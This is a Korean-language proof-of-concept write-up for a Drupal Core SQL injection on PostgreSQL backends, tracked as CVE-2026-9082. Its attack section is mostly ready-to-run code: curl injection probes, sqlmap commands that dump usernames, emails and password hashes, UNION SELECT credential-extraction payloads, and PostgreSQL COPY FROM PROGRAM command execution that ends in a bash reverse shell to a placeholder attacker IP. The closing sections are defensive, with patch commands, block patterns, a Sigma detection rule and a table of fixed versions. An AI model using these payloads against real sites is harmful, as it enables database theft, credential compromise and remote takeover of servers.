
CVE PoC
유형: SQL 인젝션 (CWE-89) 영향받는 제품: Drupal Core (Database Abstraction API) Drupal 권고: SA-CORE-2026-004 게시일: 2026년 5월 20일 심각도: 매우 치명적 (Drupal 20/25 | NVD CVSS 6.5)
CVE-2026-9082는 Drupal 코어 데이터베이스 추상화 API의 SQL 인젝션 취약점입니다. Drupal의 DB 계층은 PDO를 래핑하고 모든 쿼리가 데이터베이스에 도달하기 전에 정화합니다. 이 취약점은 PostgreSQL 백엔드에서만 해당 정화를 우회합니다. 특수하게 제작된 HTTP 요청이 정규화 로직을 우회하여 공격자가 제어하는 SQL 조각을 데이터베이스 쿼리에 직접 주입합니다.
MySQL과 MariaDB는 이 인젝션 벡터의 영향을 받지 않지만, 패치 릴리스에는 모든 백엔드에 적용되는 중요한 Symfony/Twig 수정 사항도 함께 포함되어 있습니다.
전제 조건: 대상이 데이터베이스 백엔드로 PostgreSQL을 사용해야 합니다.
Drupal의 DB 추상화 계층은 매개변수화된 쿼리/준비된 문(Prepared Statement)을 통해 값을 정화하지만, 신뢰할 수 있는 구조적 SQL(필드 이름, 연산자, ORDER BY 대상)을 제공하기 위해 쿼리 빌더에 의존합니다. 버그는 PostgreSQL 드라이버가 쿼리를 빌드할 때 특정 입력 패턴을 처리하는 방식에 있습니다. PostgreSQL의 SQL 방언은 다음과 같은 주요 차이점에서 MySQL과 다릅니다:
||를 사용한 문자열 연결::를 사용한 타입 캐스팅COPY ... FROM PROGRAM 명령제작된 요청은 Drupal의 값 수준 정화를 통과하지만 PostgreSQL 파서에 의해 구조적 SQL로 해석되는 문자/시퀀스를 도입합니다. 공격 표면은 사용자 제어 매개변수를 DB 쿼리에 전달하는 모든 엔드포인트(검색, 뷰 필터, 양식 제출, JSON:API 등)를 통해 인증 없이 도달할 수 있습니다.
Attacker (unauthenticated)
|
|--> HTTP request with crafted parameter
| (e.g. search field, filter, form input)
|
v
Drupal DB Abstraction API
|
|--> Sanitization bypass (PostgreSQL-specific)
|
v
PostgreSQL executes injected SQL
|
|--> Information disclosure (dump entire DB)
|--> Privilege escalation (inject admin credentials)
|--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)
COPY TO PROGRAM 'cmd'를 통해Drupal의 자체 경고: "익스플로잇은 공개 후 몇 시간 또는 며칠 내에 개발될 수 있습니다" (SA-CORE-2014-005 / Drupalgeddon과 같은 역사적 Drupal DB 계층 CVE와 일치).
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"
# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"
# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
--level=5 --risk=3 \
--technique=BEUST \
--tamper=space2comment,between \
--dbs
# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
-D drupal -T users_field_data \
-C name,mail,pass --dump
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2-- -- increment until error
-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--
-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;
-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
# Composer (recommended)
composer update drupal/core drupal/core-recommended
# Verify version
php core/scripts/drupal --version
# OR via Drush
drush updb && drush cr
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false
차단 패턴: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--
PostgreSQL이 localhost 또는 사설 인터페이스에만 바인딩되고 인터넷에서 도달할 수 없도록 하십시오.
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
category: webserver
detection:
selection:
cs-uri-query|contains:
- "pg_sleep"
- "UNION+SELECT"
- "::text"
- "::integer"
- "COPY+TO"
- "%27--"
filter:
cs-uri-stem|contains:
- "/search/"
- "/views/ajax"
- "/jsonapi/"
condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]
CVE-2026-9082는 PostgreSQL 백엔드를 대상으로 하는 Drupal Core의 무인증 SQL 인젝션입니다. NVD CVSS 6.5로 중간 수준이지만, Drupal은 인증되지 않은 액세스 + PostgreSQL의 COPY TO PROGRAM = 잘못 구성된 환경에서의 직접적인 RCE가 가능하기 때문에 20/25(매우 치명적)로 평가합니다. 광범위한 영향 버전 범위와 포함된 Twig SSTI 수정 사항으로 인해 모든 Drupal 사이트, 특히 인터넷에 노출된 PostgreSQL 배포 환경에서 중대하고 긴급한 패치가 필요합니다.
권장 조치: 즉시 해당 브랜치의 패치 버전으로 업데이트하십시오. DB 애플리케이션 사용자가 PostgreSQL 슈퍼유저가 아닌지 확인하십시오.
| 브랜치 | 취약 버전 | 패치 버전 |
|---|
| Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 |
| Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 |
| Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 |
| Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 |
| Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 |
| Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 |
| 소스 | 신호 |
|---|
| 웹 로그 | 쿼리 문자열의 pg_sleep, ::, UNION SELECT, --, COPY PROGRAM |
| PostgreSQL 로그 | 웹 요청 타임스탬프와 상관관계가 있는 구문 오류 |
| Drupal watchdog | search/view/jsonapi 엔드포인트의 DB 예외 |
| auditd | 하위 프로세스를 생성하는 postgres (COPY TO PROGRAM) |
| Drupal 사용자 테이블 | 최근 타임스탬프가 있는 새 administrator 역할 행 |